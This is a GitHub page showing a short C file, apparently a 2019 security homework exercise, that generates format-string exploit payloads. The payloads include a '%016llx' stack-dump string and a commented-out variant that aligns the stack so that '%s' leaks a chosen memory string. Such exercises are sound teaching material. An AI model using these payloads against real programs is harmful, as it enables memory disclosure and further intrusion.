-
Notifications
You must be signed in to change notification settings - Fork 0
/
makeExploitString.c
52 lines (42 loc) · 1.84 KB
/
makeExploitString.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
* dummy_hw4_exploit.c
*
* Created on: Nov 7, 2019
* Author: reub
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *taintedbuf;
int taintedbufsize=168;
taintedbuf=malloc(taintedbufsize);
#if 1 //DUMBLEAK
char dumbleak[]="\t%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.\n" \
"\t%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.\n";
memmove(taintedbuf,dumbleak,sizeof(dumbleak) );
#endif
#if 0 //SMARTLEAK
//find a fun string in memory (e.g., my username was at 7fffffffe980)
int taintedbufWritePtr=0;
//this spacer starts at rsp in the context of the variadic function and will align the stack to dummyvar
char spacer[] = \
"\t%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.%016llx.\n";//skip over values prior to buf and over the shellcode values at the start of buf, unpopulated length=14*5=70, populated length=176=14*9
char leakstr[] = "\tCool %s\n"; //You might need to align the %s with the stack by byte; add junk 'J's for padding, replace %s with %016llx when determining spacing
//prep taintedbuf
memset(taintedbuf,0,taintedbufsize);
taintedbufWritePtr=0;
//pop a few values to align the stack with oldrbp, taintedbufWritePtr=0 here
memcpy(&taintedbuf[taintedbufWritePtr], spacer, sizeof(spacer));//note: taintedbuf cannot have any \x00 bytes!
taintedbufWritePtr+=strlen(spacer);
//You might need to align the %s below with the stack by byte; add junk 'J's for padding
memcpy(&taintedbuf[taintedbufWritePtr],leakstr,strlen(leakstr));
taintedbufWritePtr+=strlen(leakstr);
//so this tainted format specifier will is equivalent to: strcat(spacer,leakstr)
#endif
for (int i=0;i<taintedbufsize;i++) {
printf("\\x%02x",(unsigned char)taintedbuf[i]);
}
printf("\n");
//copy and paste ftw!!! (remember to null \x00 terminate)
}